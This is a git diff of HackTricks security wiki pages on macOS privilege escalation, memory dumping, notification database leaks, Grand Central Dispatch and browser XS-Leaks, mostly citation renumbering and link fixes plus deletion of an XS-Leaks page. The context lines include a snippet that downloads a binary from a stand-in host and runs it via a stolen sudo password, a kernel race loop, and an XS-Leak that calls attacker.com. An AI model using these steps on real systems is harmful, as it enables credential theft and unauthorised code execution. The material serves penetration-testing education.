b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -172,7 +172,7 @@ Older userland tools such as [`readmem`](https://github.com/gdbinit/readmem) als ## Heap / VM snapshots with `.memgraph` -If you mainly care about **heap objects**, **allocation provenance**, or a snapshot that can be moved to another machine, a `.memgraph` is often more practical than a giant Mach-O core. The `leaks` tooling can generate one from a live process: +If you mainly care about **heap objects**, **allocation provenance**, or a snapshot that can be moved to another machine, a `.memgraph` is often more practical than a giant Mach-O core. The `leaks` tooling can generate one from a live process:[[2]](#references) ```bash # Capture a memory graph from a live process @@ -261,5 +261,3 @@ For more object-level runtime triage once you can already inspect the process, c - [2] [leaks(1) man page](https://keith.github.io/xcode-man-pages/leaks.1.html) {{#include ../../../banners/hacktricks-training.md}} - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md index 0964ec2db3e..cf6b1388ccd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md @@ -187,8 +187,8 @@ sqlite3 "$HOME/Library/Group Containers/group.com.apple.usernoted/db2/db" "sel #### Recent privacy issues (NotificationCenter DB) -- In macOS **14.7–15.1** Apple stored banner content in the `db2/db` SQLite without proper redaction. CVEs **CVE-2024-44292/44293/40838/54504** allowed any local user to read other users' notification text just by opening the DB (no TCC prompt). -- Apple mitigated this by moving the DB into `group.com.apple.usernoted` and protecting it with TCC on newer Sequoia builds, so on current systems you normally need the right user context or a TCC bypass to read it.[[3]](#references) +- In macOS **14.7–15.1** Apple stored banner content in the `db2/db` SQLite without proper redaction. CVEs **CVE-2024-44292/44293/40838/54504** allowed any local user to read other users' notification text just by opening the DB (no TCC prompt).[[3]](#references) +- Apple mitigated this by moving the DB into `group.com.apple.usernoted` and protecting it with TCC on newer Sequoia builds, so on current systems you normally need the right user context or a TCC bypass to read it.[[4]](#references) - On legacy endpoints, copy the `db`, `db-wal`, and `db-shm` files together before updating or rebooting if you want to preserve the artefacts. ### Notes @@ -324,7 +324,8 @@ These are notifications that the user should see in the screen: - [1] [HelpNetSecurity – macOS gcore entitlement allowed Keychain master key extraction (CVE-2025-24204)](https://www.helpnetsecurity.com/2025/09/04/macos-gcore-vulnerability-cve-2025-24204/) - [2] [Apple Platform Security – Keychain data protection](https://support.apple.com/guide/security/keychain-data-protection-secb0694df1a/web) -- [3] [9to5Mac – Apple addresses privacy concerns around Notification Center database in macOS Sequoia](https://9to5mac.com/2024/09/01/security-bite-apple-addresses-privacy-concerns-around-notification-center-database-in-macos-sequoia/) +- [3] [Rapid7 – Notification Center SQLite disclosure (CVE-2024-44292 et al.)](https://www.rapid7.com/db/vulnerabilities/apple-osx-notificationcenter-cve-2024-44292/) +- [4] [9to5Mac – Apple addresses privacy concerns around Notification Center database in macOS Sequoia](https://9to5mac.com/2024/09/01/security-bite-apple-addresses-privacy-concerns-around-notification-center-database-in-macos-sequoia/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md index dcf6f64e9d5..db9ec8c586e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md @@ -464,8 +464,6 @@ In `__DATA` segment (rw-): - `_swift_typeref`, `_swift3_capture`, `_swift3_assocty`, `_swift3_types, _swift3_proto`, `_swift3_fieldmd`, `_swift3_builtin`, `_swift3_reflstr` - - ## References - [1] [Mach-O slices aren't as straightforward as you might think](https://objective-see.org/blog/blog_0x80.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index ad34d5959f8..54bcd86443e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -4,9 +4,9 @@ ## Basic Information -**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware. +**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware.[[4]](#references) -**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores. +**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores.[[1]](#references) > [!TIP] > In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary). @@ -35,7 +35,7 @@ However, at compiler level blocks doesn't exist, they are `os_object`s. Each of ### Queues -A dispatch queue is a named object providing FIFO ordering of blocks for executions. +A dispatch queue is a named object providing FIFO ordering of blocks for executions.[[3]](#references) Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**. @@ -65,7 +65,7 @@ When creating a queue with **`dispatch_queue_create`** the third argument is a ` ### Dispatch objects -There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`: +There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`:[[1]](#references)[[2]](#references) - `block` - `data`: Data blocks @@ -226,6 +226,3 @@ Ghidra will automatically rewrite everything: - [4] [Apple Developer — Dispatch](https://developer.apple.com/documentation/dispatch) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index 79a9e22bd00..36473abfb52 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -240,7 +240,7 @@ curl -o /tmp/update https://example.com/update printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update ``` -The stolen password can then be reused to **clear Gatekeeper quarantine with `xattr -c`**, copy LaunchDaemons or other privileged files, and run additional stages non-interactively. +The stolen password can then be reused to **clear Gatekeeper quarantine with `xattr -c`**, copy LaunchDaemons or other privileged files, and run additional stages non-interactively.[[1]](#references) ## Newer macOS-specific vectors (2023–2025) @@ -263,7 +263,7 @@ Combine with the **masquerading tricks above** to present a believable password ### Privileged helper / XPC triage -A lot of modern third-party macOS privescs follow the same pattern: a **root LaunchDaemon** exposes a **Mach/XPC service** from **`/Library/PrivilegedHelperTools`**, then the helper either **doesn't validate the client**, validates it **too late** (PID race), or exposes a **root method** that consumes a **user-controlled path/script**. This is the bug class behind many recent helper bugs in VPN clients, game launchers and updaters.[[4]](#references) +A lot of modern third-party macOS privescs follow the same pattern: a **root LaunchDaemon** exposes a **Mach/XPC service** from **`/Library/PrivilegedHelperTools`**, then the helper either **doesn't validate the client**, validates it **too late** (PID race), or exposes a **root method** that consumes a **user-controlled path/script**. This is the bug class behind many recent helper bugs in VPN clients, game launchers and updaters.[[2]](#references) Quick triage checklist: @@ -337,11 +337,11 @@ while (1) setgid(rand()); while (1) getgid(); ``` -Couple with heap grooming to land controlled data where the pointer re-reads. On vulnerable builds this is a reliable **local kernel privesc** without SIP bypass requirements.[[2]](#references) +Couple with heap grooming to land controlled data where the pointer re-reads. On vulnerable builds this is a reliable **local kernel privesc** without SIP bypass requirements.[[4]](#references) ### SIP bypass via Migration assistant ("Migraine", CVE-2023-32369) -If you already have root, SIP still blocks writes to system locations. The **Migraine** bug abuses the Migration Assistant entitlement `com.apple.rootless.install.heritable` to spawn a child process that inherits SIP bypass and overwrites protected paths (e.g., `/System/Library/LaunchDaemons`).[[1]](#references) The chain: +If you already have root, SIP still blocks writes to system locations. The **Migraine** bug abuses the Migration Assistant entitlement `com.apple.rootless.install.heritable` to spawn a child process that inherits SIP bypass and overwrites protected paths (e.g., `/System/Library/LaunchDaemons`).[[5]](#references) The chain: 1. Obtain root on a live system. 2. Trigger `systemmigrationd` with crafted state to run an attacker-controlled binary. @@ -349,7 +349,7 @@ If you already have root, SIP still blocks writes to system locations. The **Mig ### NSPredicate/XPC expression smuggling (CVE-2023-23530/23531 bug class) -Multiple Apple daemons accept **NSPredicate** objects over XPC and only validate the `expressionType` field, which is attacker-controlled. By crafting a predicate that evaluates arbitrary selectors you can achieve **code execution in root/system XPC services** (e.g., `coreduetd`, `contextstored`). When combined with an initial app sandbox escape, this grants **privilege escalation without user prompts**. Look for XPC endpoints that deserialize predicates and lack a robust visitor. +Multiple Apple daemons accept **NSPredicate** objects over XPC and only validate the `expressionType` field, which is attacker-controlled. By crafting a predicate that evaluates arbitrary selectors you can achieve **code execution in root/system XPC services** (e.g., `coreduetd`, `contextstored`). When combined with an initial app sandbox escape, this grants **privilege escalation without user prompts**. Look for XPC endpoints that deserialize predicates and lack a robust visitor.[[6]](#references) ## TCC - Root Privilege Escalation @@ -374,9 +374,11 @@ macos-files-folders-and-binaries/macos-sensitive-locations.md ## References -- [1] [Microsoft "Migraine" SIP bypass (CVE-2023-32369)](https://www.microsoft.com/en-us/security/blog/2023/05/30/new-macos-vulnerability-migraine-could-bypass-system-integrity-protection/) -- [2] [CVE-2025-24118 SMR credential race write-up & PoC](https://github.com/jprx/CVE-2025-24118) +- [1] [Pentest Partners - 2025, the year of the Infostealer](https://www.pentestpartners.com/security-blog/2025-the-year-of-the-infostealer/) +- [2] [CVE-2024-30165: AWS Client VPN for macOS Local Privilege Escalation](https://blog.emkay64.com/macos/CVE-2024-30165-finding-and-exploiting-aws-client-vpn-on-macos-for-local-privilege-escalation/) - [3] [CVE-2024-27822: macOS PackageKit Privilege Escalation](https://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html) -- [4] [CVE-2024-30165: AWS Client VPN for macOS Local Privilege Escalation](https://blog.emkay64.com/macos/CVE-2024-30165-finding-and-exploiting-aws-client-vpn-on-macos-for-local-privilege-escalation/) +- [4] [CVE-2025-24118 SMR credential race write-up & PoC](https://github.com/jprx/CVE-2025-24118) +- [5] [Microsoft "Migraine" SIP bypass (CVE-2023-32369)](https://www.microsoft.com/en-us/security/blog/2023/05/30/new-macos-vulnerability-migraine-could-bypass-system-integrity-protection/) +- [6] [Trellix Advanced Research Center - A New Privilege Escalation Bug Class on macOS and iOS (CVE-2023-23530/23531)](https://www.trellix.com/blogs/research/trellix-advanced-research-center-discovers-a-new-privilege-escalation-bug-class-on-macos-and-ios/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md index 00e96201c81..70890812db6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md @@ -267,11 +267,11 @@ Note that executables compiled with **`pyinstaller`** won't use these environmen ### Shield -[**Shield**](https://github.com/theevilbit/Shield) is an open source **EndpointSecurity**-based application that detects and blocks process injection. It is a good reference for which signals are actually observable from ES, since it alerts on:[[1]](#references) +[**Shield**](https://github.com/theevilbit/Shield) is an open source **EndpointSecurity**-based application that detects and blocks process injection. It is a good reference for which signals are actually observable from ES, since it alerts on:[[1]](#references)[[2]](#references) - **Injection environment variables** on process exec: `DYLD_INSERT_LIBRARIES`, `CFNETWORK_LIBRARY_PATH`, `RAWCAMERA_BUNDLE_PATH` and `ELECTRON_RUN_AS_NODE`. - **`task_for_pid`** calls — one process asking for another's task port, which is the prerequisite for injecting into it. -- **Electron debugging arguments** — `--inspect`, `--inspect-brk` and `--remote-debugging-port`, which start an Electron app in debug mode and let anyone attach and run code in it. +- **Electron debugging arguments** — `--inspect`, `--inspect-brk` and `--remote-debugging-port`, which start an Electron app in debug mode and let anyone attach and run code in it.[[3]](#references) - **Symlink/hardlink creation across privilege levels** — the classic "plant a link as a normal user, point it at a privileged location" primitive. Note that **symlinks can be alerted on but not blocked**: EndpointSecurity does not expose the link destination before creation. ### Calls made by other processes @@ -288,4 +288,3 @@ Note that to call that function you need to be **the same uid** as the one runni - [4] [Scott Knight - Detecting task modifications](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) {{#include ../../../banners/hacktricks-training.md}} - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index e55559d63a9..d10e01221bb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -118,6 +118,3 @@ The full POC code for injection into PowerShell is accessible [here](https://gis - [1] [Adam Chester (xpnsec) - macOS Injection via Third Party Frameworks](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md index b5bb12ee6ee..e36e0b46d2d 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md +++ b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md @@ -71,7 +71,7 @@ window.onmessage = (e) => { } ``` -So, when auditing, don't only look for a `==` coercion gadget: also look for loops over attacker-controlled `length` fields, debug leftovers, or any other synchronous path reachable **before** the sensitive `postMessage` is sent. Conceptually this abuses the same single-thread primitive used in [busy event loop XS-Leaks](../xs-search.md#busy-event-loop), but here the goal is to arm the malicious child before the parent resumes. +So, when auditing, don't only look for a `==` coercion gadget: also look for loops over attacker-controlled `length` fields, debug leftovers, or any other synchronous path reachable **before** the sensitive `postMessage` is sent. Conceptually this abuses the same single-thread primitive used in [busy event loop XS-Leaks](../xs-search/README.md#busy-event-loop), but here the goal is to arm the malicious child before the parent resumes. ### Timing the race diff --git a/src/pentesting-web/timing-attacks.md b/src/pentesting-web/timing-attacks.md index 1d3da3372d5..f2006f0f674 100644 --- a/src/pentesting-web/timing-attacks.md +++ b/src/pentesting-web/timing-attacks.md @@ -11,7 +11,7 @@ The goal of a timing attack is to answer difficult questions or discover hidden Traditionally this was very hard because the interesting server-side signal was drowned in network jitter and server noise. However, after the [**single-packet / synchronized-request techniques**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), it became practical to remove most transport noise from the equation and isolate tiny **server-side timing deltas**. -This page is focused on **server-side web timing oracles**. For **browser-side / cross-origin timing leaks** check [XS-Search / XS-Leaks](xs-search.md). +This page is focused on **server-side web timing oracles**. For **browser-side / cross-origin timing leaks** check [XS-Search / XS-Leaks](xs-search/README.md). ## Making Timing Attacks Practical diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md deleted file mode 100644 index 0a16bda94d3..00000000000 --- a/src/pentesting-web/xs-search.md +++ /dev/null @@ -1,942 +0,0 @@ -# XS-Search/XS-Leaks - -{{#include ../banners/hacktricks-training.md}} - -## Basic Information - -XS-Search is a method used for **extracting cross-origin information** by leveraging **side channel vulnerabilities**.[[2]](#references) - -Key components involved in this attack include: - -- **Vulnerable Web**: The target website from which information is intended to be extracted. -- **Attacker's Web**: The malicious website created by the attacker, which the victim visits, hosting the exploit. -- **Inclusion Method**: The technique employed to incorporate the Vulnerable Web into the Attacker's Web (e.g., window.open, iframe, fetch, HTML tag with href, etc.). -- **Leak Technique**: Techniques used to discern differences in the state of the Vulnerable Web based on information gathered through the inclusion method. -- **States**: The two potential conditions of the Vulnerable Web, which the attacker aims to distinguish. -- **Detectable Differences**: Observable variations that the attacker relies on to infer the state of the Vulnerable Web. - -### Detectable Differences - -Several aspects can be analyzed to differentiate the states of the Vulnerable Web:[[2]](#references) - -- **Status Code**: Distinguishing between **various HTTP response status codes** cross-origin, like server errors, client errors, or authentication errors. -- **API Usage**: Identifying **usage of Web APIs** across pages, revealing whether a cross-origin page employs a specific JavaScript Web API. -- **Redirects**: Detecting navigations to different pages, not just HTTP redirects but also those triggered by JavaScript or HTML. -- **Page Content**: Observing **variations in the HTTP response body** or in page sub-resources, such as the **number of embedded frames** or size disparities in images. -- **HTTP Header**: Noting the presence or possibly the value of a **specific HTTP response header**, including headers like X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy. -- **Timing**: Noticing consistent time disparities between the two states. - -### Inclusion Methods - -- **HTML Elements**: HTML offers various elements for **cross-origin resource inclusion**, like stylesheets, images, or scripts, compelling the browser to request a non-HTML resource. A compilation of potential HTML elements for this purpose can be found at [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). -- **Frames**: Elements such as **iframe**, **object**, and **embed** can embed HTML resources directly into the attacker's page. If the page **lacks framing protection**, JavaScript can access the framed resource’s window object via the contentWindow property. -- **Pop-ups**: The **`window.open`** method opens a resource in a new tab or window, providing a **window handle** for JavaScript to interact with methods and properties following the SOP. Pop-ups, often used in single sign-on, circumvent framing and cookie restrictions of a target resource. However, modern browsers restrict pop-up creation to certain user actions. -- **JavaScript Requests**: JavaScript permits direct requests to target resources using **XMLHttpRequests** or the **Fetch API**. These methods offer precise control over the request, like opting to follow HTTP redirects. - -### Leak Techniques - -- **Event Handler**: A classical leak technique in XS-Leaks, where event handlers like **onload** and **onerror** provide insights about resource loading success or failure. -- **Error Messages**: JavaScript exceptions or special error pages can provide leak information either directly from the error message or by differentiating between its presence and absence. -- **Global Limits**: Physical limitations of a browser, like memory capacity or other enforced browser limits, can signal when a threshold is reached, serving as a leak technique. -- **Global State**: Detectable interactions with browsers' **global states** (e.g., the History interface) can be exploited. For instance, the **number of entries** in a browser's history can offer clues about cross-origin pages. -- **Performance API**: This API provides **performance details of the current page**, including network timing for the document and loaded resources, enabling inferences about requested resources. -- **Readable Attributes**: Some HTML attributes are **readable cross-origin** and can be used as a leak technique. For instance, the `window.frame.length` property allows JavaScript to count the frames included in a webpage cross-origin. - -## XSinator Tool & Paper - -XSinator is an automatic tool to **check browsers against several know XS-Leaks** explained in its paper: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) - -You can **access the tool in** [**https://xsinator.com/**](https://xsinator.com/)[[1]](#references)[[4]](#references) - -> [!WARNING] -> **Excluded XS-Leaks**: We had to exclude XS-Leaks that rely on **service workers** as they would interfere with other leaks in XSinator. Furthermore, we chose to **exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application**. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate. - -## **Timing Based techniques** - -Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser. - -**Clocks**: The [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API allows developers to get high-resolution timing measurements.\ -There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others.\ -For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/). - -## Event Handler Techniques - -### Onload/Onerror - -- **Inclusion Methods**: Frames, HTML Elements -- **Detectable Difference**: Status Code -- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Summary**: if trying to load a resource onerror/onload events are triggered with the resource is loaded successfully/unsuccessfully it's possible to figure out the status code. -- **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() - - -{{#ref}} -xs-search/cookie-bomb-+-onerror-xs-leak.md -{{#endref}} - -The code example try lo **load scripts objects from JS**, but **other tags** such as objects, stylesheets, images, audios could be also used. Moreover, it's also possible to inject the **tag directly** and declare the `onload` and `onerror` events inside the tag (instead of injecting it from JS).[[2]](#references) - -There is also a script-less version of this attack: - -```html - - - -``` - -In this case if `example.com/404` is not found `attacker.com/?error` will be loaded. - -### Onload Timing - -- **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) -- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) which can identify tasks running for more than 50ms. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) another example in: - - -{{#ref}} -xs-search/performance.now-example.md -{{#endref}} - -#### Onload Timing + Forced Heavy Task - -This technique is just like the previous one, but the **attacker** will also **force** some action to take a **relevant amount time** when the **answer is positive or negative** and measure that time. - - -{{#ref}} -xs-search/performance.now-+-force-heavy-task.md -{{#endref}} - -### unload/beforeunload Timing - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) can be used to measure how much time it takes to perform a request. Other clocks could be used. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) - -The time taken to fetch a resource can be measured by utilizing the [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) and [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) events. The **`beforeunload`** event is fired when the browser is about to navigate to a new page, while the **`unload`** event occurs when the navigation is actually taking place. The time difference between these two events can be calculated to determine the **duration the browser spent fetching the resource**.[[2]](#references) - -### Sandboxed Frame Timing + onload - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) - -It has been observed that in the absence of [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), the time required for a page and its subresources to load over the network can be measured by an attacker. This measurement is typically possible because the `onload` handler of an iframe is triggered only after the completion of resource loading and JavaScript execution. To bypass the variability introduced by script execution, an attacker might employ the [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribute within the ` -``` - -### #ID + error + onload - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Page Content -- **More info**: -- **Summary**: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time. -- **Code Example**: - -Suppose that you can **insert** the **page** that has the **secret** content **inside an Iframe**. - -You can **make the victim search** for the file that contains "_**flag**_" using an **Iframe** (exploiting a CSRF for example). Inside the Iframe you know that the _**onload event**_ will be **executed always at least once**. Then, you can **change** the **URL** of the **iframe** but changing only the **content** of the **hash** inside the URL. - -For example: - -1. **URL1**: www.attacker.com/xssearch#try1 -2. **URL2**: www.attacker.com/xssearch#try2 - -If the first URL was **successfully loaded**, then, when **changing** the **hash** part of the URL the **onload** event **won't be triggered** again. But **if** the page had some kind of **error** when **loading**, then, the **onload** event will be **triggered again**. - -Then, you can **distinguish between** a **correctly** loaded page or page that has an **error** when is accessed. - -### Javascript Execution - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Page Content -- **More info**: -- **Summary:** If the **page** is **returning** the **sensitive** content, **or** a **content** that can be **controlled** by the user. The user could set **valid JS code in the negative case**, an **load** each try inside **`